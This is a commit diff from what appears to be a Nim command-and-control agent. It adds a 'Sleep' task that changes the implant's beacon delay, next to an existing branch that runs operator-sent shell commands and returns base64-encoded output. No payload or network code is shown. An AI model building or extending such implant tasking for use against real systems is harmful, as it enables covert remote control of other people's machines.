Implemented sleep command to update sleep delay on agent
This commit is contained in:
@@ -1,11 +1,12 @@
|
||||
import base64
|
||||
import base64, strutils
|
||||
import ./types
|
||||
import ./commands/commands
|
||||
|
||||
proc handleTask*(task: Task): Task =
|
||||
proc handleTask*(task: Task, config: AgentConfig): Task =
|
||||
|
||||
# Handle task command
|
||||
case task.command:
|
||||
|
||||
of ExecuteShell:
|
||||
|
||||
let (output, status) = taskShell(task.args)
|
||||
@@ -20,6 +21,27 @@ proc handleTask*(task: Task): Task =
|
||||
status: status
|
||||
)
|
||||
|
||||
of Sleep:
|
||||
# Parse arguments
|
||||
let delay: int = parseInt(task.args[0])
|
||||
|
||||
# Execute task
|
||||
let (output, status) = taskSleep(delay)
|
||||
|
||||
# Update sleep delay in agent config
|
||||
if status == Completed:
|
||||
config.sleep = delay
|
||||
|
||||
# Return result
|
||||
return Task(
|
||||
id: task.id,
|
||||
agent: task.agent,
|
||||
command: task.command,
|
||||
args: task.args,
|
||||
result: encode(output),
|
||||
status: status
|
||||
)
|
||||
|
||||
else:
|
||||
echo "Not implemented"
|
||||
return nil
|
||||
|
||||
Reference in New Issue
Block a user